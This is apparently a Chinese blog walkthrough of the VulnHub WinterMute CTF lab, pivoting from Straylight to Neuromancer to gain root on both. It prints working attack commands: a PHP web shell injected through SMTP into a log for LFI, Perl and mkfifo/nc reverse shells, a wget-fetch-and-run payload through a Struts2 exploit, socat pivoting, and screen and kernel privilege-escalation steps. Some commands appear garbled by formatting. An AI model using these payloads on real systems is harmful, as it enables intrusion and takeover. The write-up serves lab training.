No.19-VulnHub-WinterMute: 1 -Walkthrough渗透学习

**

VulnHub-WinterMute: 1-Walkthrough

**

靶机地址:https://www.vulnhub.com/entry/wintermute-1,239/
靶机难度:中级(CTF)
靶机发布日期:2018年7月5日
靶机描述:一个新的OSCP风格实验室,涉及2台易受攻击的机器,以赛博朋克经典Neuromancer为主题-任何网络安全爱好者都必须阅读。该实验室利用了数据透视和后期开发,而我发现其他OSCP预处理实验室似乎缺乏。目标是在两台计算机上都扎根。您只需要默认的Kali Linux。
不会出现缓冲区溢出或漏洞利用的情况-使用小的单词列表就可以完成任何必要的密码破解。
Straylight-模拟带有2个NICS的面向公众的服务器。首先盖上此盖,然后转到最后一台机器。Neuromancer-在具有1个NIC的非公共网络中。您的Kali框应仅与Straylight位于同一虚拟网络上。(谷歌翻译英文!)
目标:得到root权限&找到flag.txt
作者:大余
时间:2020-01-15

请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

信息收集

这是两台设备,是不是很期待!
在这里插入图片描述
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:后面更换了网卡!
在这里插入图片描述我们已经找到了此次CTF目标计算机IP地址:
Straylight:192.168.56.113(服务器)
介绍说一台与我的kali机器位于同一网络上,另一台位于与第一个目标链接的独立网络上,意思是通过渗透Straylight获得权限后,在跳跃到PC端Neuromancer上获得权限…Straylight就是一个跳板,通俗点就是你黑进了电信机房的服务器后,通过服务器黑进了用户的PC端!!
在这里插入图片描述
开了25、80、3000端口,先来看看80…
在这里插入图片描述
刚截完图…随意点下就进入了这个界面…
在这里插入图片描述
就是两个人的对话…让我去渗透它…这边没找到啥有用的,用个新工具gobuster(域名目录爆破)
在这里插入图片描述
命令:gobuster -u http://192.168.56.113 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt (用gobuster通过medium目录文本去爆破服务器)
/manual和/freeside目录,进去看看…
在这里插入图片描述
在这里插入图片描述
反正我看了半天,没发现有引导我能去干嘛的地方…(特别是第一个眼睛疼…)
先不管80了…看看3000端口也是http开放的…
在这里插入图片描述
最后一行的提示,直接admin用户默认密码成功登录在这里插入图片描述在这里插入图片描述
这里看到了80端口上存在的目录情况…/freeside目录已经前面就发现了,没啥信息…登录/turing-bolo/目录试试…
在这里插入图片描述
往下滑还有信息…(这里是坑了我几分钟时间,做得太逼真我都忘了往下滑)
在这里插入图片描述
在这里插入图片描述
我按提交后…
在这里插入图片描述
将我重定向到了/turing-bolo/bolo.php?bolo=case链接下…还发现bolo参数的本地文件包含LFI漏洞(bolo.php)
molly.log
armitage.log
riviera.log
页面中还包含这三个日志文件…查看下三个日志文件…
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
没啥有用的信息…通过页面存在日志文件,测试看看case.log是否存在…
在这里插入图片描述
更加证实了LFI漏洞的存在…

提权

我尝试目录遍历漏洞…尝试了…/等等没啥用…还在考虑如何将php注入到服务器中…
这边谷歌查看了下postfix log location(日志后缀链接的位置)
在这里插入图片描述
在这里插入图片描述
嘿嘿…如果能将PHP的shell代码写入日志就完美了…继续
前面nmap扫描开启了25的postfix smtp服务器…
在这里插入图片描述
命令:1)HELO hackerman
2)MAIL FROM: “hackerman <?php echo shell_exec($_GET['cmd']);?>"
3)RCPT TO:root
4)DATA
通过nc进入到服务器的smtp上,然后通过命令注入PHP…(结果很完美)
在这里插入图片描述
这里可以用反向shell来获权…
这边要对url Encoding有些理解就行…链接
这边用到了perl的socket编程…(perl可以写shell我也是浏览过帖子看到的这代码,尝试后还真可以用…)
perl -e 'use Socket; i = " 192.168.56.103 " ; i="192.168.56.103"; p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( i)))){open(STDIN,”>&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};’
将上面代码随便复制黏贴在浏览器打开就能生成链接后缀了…
在这里插入图片描述
生成后:perl±e+‘use+Socket%3B%24i%3D"192.168.30.128"%3B%24p%3D1234%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(“tcp”))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i)))){open(STDIN%2C">%26S")%3Bopen(STDOUT%2C">%26S")%3Bopen(STDERR%2C">%26S")%3Bexec("%2Fbin%2Fbash±i")%3B}%3B’&ie=utf-8&oe=utf-8&client=firefox-b-ab
然后复制放到bolo链接里的cmd=后即可…
在这里插入图片描述
看不太懂编码后面的同学,前面一定要看得懂哦…这是注入了一个perl写的shell,对本地1234端口打开…nc打开下1234…
在这里插入图片描述
反向外壳成功提权…(鼓励学习更多的新方法)
这边我在介绍另外一个方法, 我也成功了的…(主要上面的方法很多新知识, 就写出来了)
方法:1)发现目录遍历后直接利用…/…/…/…/等去测试…(这边通过mail后缀知道可以smtp上传)
2)然后通过nc或者telnet上去后,用RCPT TO发送命令…(随意一个python的php即可)
3)发送完页面下面会提示www-data等信息,说明可以反向shell
4)然后用msfvenom生成shell,通过smtp上传shell.elf即可
5)最后通过Meterpreter进行内核提权即可 (这是最笨的方法也是最省事的方法,但是目前还是想学多点东西…没记录这个,可以多看以前章节,然后就会了)

特权提升

需要发现SUID…
可以通过find、linenum(需要上传这个脚本到服务上)来枚举所有具有SUID权限的二进制文件…
在这里插入图片描述
命令:find / -perm -4000 2>/dev/null
这里发现了版本号,在谷歌中寻找下,找到了https://www.exploit-db.com/exploits/ 41154
在这里插入图片描述
或者直接在kali中针对搜即可…
在这里插入图片描述
这边我们来熟悉下41154代码…
在这里插入图片描述
让我们创建两个c文件…然后使用他给的代码gcc编译即可提权…那来做吧…
在这里插入图片描述
弄完了…
在这里插入图片描述
开启本地HTTP服务后…
在这里插入图片描述
继续…
在这里插入图片描述
这些命令是在41154编码中会教…然后继续
在这里插入图片描述
在这里插入图片描述
命令:1)cd /etc
2)umask 000
3)screen -D -m -L ld.so.preload echo -ne “\x0a/tmp/libhax.so”
4)screen -ls(这里一定要出现[+] done!才会成功…我都发狂了)
5)/tmp/rootshell
受不了了,本来运行exp几分钟就好了…我硬是用了2小时,因为两c文件我开始是在本地就gcc编译的,然后上传编译好的到靶机,哪晓得一直报错!!!,我检查了很多原因,第一次是因为用gedit复制黏贴会导致.c文件被破坏才报错…(浪费30分钟)…第二次是因为本地gcc编译后上传到靶机就有问题了…(耽误40分钟)…第三次是直接用vi在本地复制黏贴好两个C文件后,直接上传到靶机在用gcc语言编译,然后才成功的…(这里我差点都怀疑是不是我靶机下错了…哭了…耐心…加油)
在这里插入图片描述
好了,成功获得root权限…flag:5ed185fd75a8d6a7056c96a436c6d8aa
在这里插入图片描述
上面的意思是:提供了一个URL:/struts2_2.3.15.1-showcase但这不适用于本机的IP,由于服务器是通过tomcat运行的,因此必须找出一种无需nmap(nmap未安装在服务器上)进行端口扫描的方法,还需要找到另一端使用的IP地址…neuromancer正在其上运行的IP,目前只能使用简单的bash命令了…

另一次攻击:Neuromancer

这里重新调整了VB虚拟机的网卡,添加了两张网卡…
在这里插入图片描述
没下载画图软件…简单看看…straylight作为中间人…
在这里插入图片描述
这边看出straylight是双宿主机…另外一个链接Neur的是192.168.49.3…
发现IP,这边直接用命令:
for ip in ( s e q 1254 ) ; d o p i n g c 1192.168.56. (seq 1 254); do ping -c 1 192.168.56. ip; done
for i in ( s e q 1255 ) ; d o p i n g c 1192.168.49. (seq 1 255); do ping -c 1 192.168.49. i; done | grep “bytes from”
在这里插入图片描述
目标计算机IP地址:192.168.49.4
下面就直接找开放了那些端口…
在这里插入图片描述
命令:for i in $(seq 1 65535); do nc -nvz -w 1 192.168.49.4 $i 2>&1; done | grep -v “Connection refused”
8009、8080、34483端口…需要将它们通过隧道传输到与我相同的网络上
这边如果不在同一网段,需要检查下socat是否可用
在这里插入图片描述
这边需要进行端口转发,kali才可以去访问
在这里插入图片描述
命令:1)socat TCP-LISTEN:8009,fork,reuseaddr TCP:192.168.49.4:8009 &
2)socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.49.4:8080 &
3)socat TCP-LISTEN:34483,fork,reuseaddr TCP:192.168.49.4:34483 &
“&”号只是标准的.nix语法,用于运行命令并将其放到后台,以便您可以继续使用其他内容…
这样我们就能在外部网络查看到他们三个端口的服务了…这样我就可以用nmap进行扫描了…看看
这里还可以用netstat -plunt也能看出…
在这里插入图片描述
在这里插入图片描述
图上可以看到已经成功链接…尝试通过3个端口中的任何一个与Straylight(通过公共子网:192.168.49.3 )联系,则通信将直接转发到Neuromancer上运行的相同端口
浏览器打开他们…
在这里插入图片描述
进来后发现信息量太大了,现在已经凌晨3点了…就不管了,直接按照前面root-note发现的链接指示走…
进入发现/struts2_2.3.15.1-showcase上的tomcat部署了一些东西,所以去看看http://192.168.56.114:8080/struts2_2.3.15.1-showcase
在这里插入图片描述
页面可以看到Struts2 Showcase欢迎的页面…(存在Apache Struts 输入验证错误漏洞)
直接谷歌搜索struts2 showcase exploit漏洞
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
要使shell能够通过外壳回调,需要以其他方式转发端口…
理解:需要将反向shell从Neuromancer中返回到kali中,其中Straylight是中间人来执行端口转发任务,因为kali和Neuromancer无法直接交谈…所以需要socat再次使用…
在这里插入图片描述
命令:socat TCP-LISTEN:6666,fork,reuseaddr TCP:192.168.56.103:6666 &
我们可以看到Straylight正在侦听TCP端口6666上的流量了…
在kali上通过nc开启监听…
在这里插入图片描述
在这里插入图片描述
命令:python 42324.py http://192.168.56.123:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action “nc -nv 192.168.49.3 6666”
此靶机netcat版本不支持nc -e功能…所以管道和重定向之类的特定于shell的命令可能无法正常工作…
这边需要用另外一种方法…可以执行wget将反向shell直接拉向Neuromancer…可以在4321/tcp的kali上设置一个侦听的Python SimpleHTTPServer的服务…由于端口转发,任何wget在Neuromancer上对Straylight执行的请求4321/tcp都可以找到kali本机…
先开启4321端口转发…
在这里插入图片描述
启动Python Web服务器…
在这里插入图片描述
如果渗透对方最好使用pentestmonkey提供的反向shell(安全起见哈…)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.3 6666 >/tmp/f
在这里插入图片描述
使用wget发送反向shell到对方去…
在这里插入图片描述
命令:python 42324.py http://192.168.56.123:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action “wget http://192.168.49.3:4321/dayu1.sh -O /tmp/dayu1.sh”(模仿exp给我脚本命令即可)
在这里插入图片描述
命令:python 42324.py http://192.168.56.123:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action “chmod +x /tmp/dayu1.sh”
发送chmod让它可执行…
在这里插入图片描述
命令:python 42324.py http://192.168.56.123:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action “sh /tmp/dayu1.sh”
成功进入对方服务器…嘿嘿!!!(这里发现stra…换了IP,因为凌晨3点还没做出来,困死关机睡觉了)
go
go
在这里插入图片描述
可以看到没装python…搜索Linux 4.4.0 exploit
在这里插入图片描述
在这里插入图片描述
发现44298可以利用…(试了su提权,不允许…)
先cp把44298拿出来gcc编译即可
在这里插入图片描述
然后上传到Neuromancer上
在这里插入图片描述
执行即可…
在这里插入图片描述
flag:be3306f431dae5ebc93eebb291f4914a
这里有个小坑,如果是32位的kali系统用gcc编译44298.c会报错,因为里面代码含有_u64写的编码…必须得64位系统用gcc编译,当然还有别的方法…
成功提权…

总而言之,学到很多…Neuromancer是一台非常有趣的靶机,为了达到目的,必须先进入另一个靶机Straylight,然后学习如何正确使用socat进行旋转(这里很坑的,一定要动手操作下),一旦我在Neuromancer上获得低特权shell,特权映射就非常简单了……至少对于内核利用途径而言,肯定还有别的提权方法在Neuromancer,等我后期有精力了肯定会来发掘下!!!

这两台花了我1天多的时间…晚上到凌晨快三点…白天一天…中途遇到肯多坑,很多不懂得,有些情况反复重新做了不下10遍…还有就是经常按错Ctrl+x退出低权用户…坚持做完得那一刻,会了很多,这是个新得跳板方式渗透,跨网段,是不是感兴趣,一定要亲自动手做,不然你不会懂里面有多少坑!!!

由于我们已经成功得到root权限&找到flag.txt,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

发布了24 篇原创文章 · 获赞 4 · 访问量 4172

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/103987311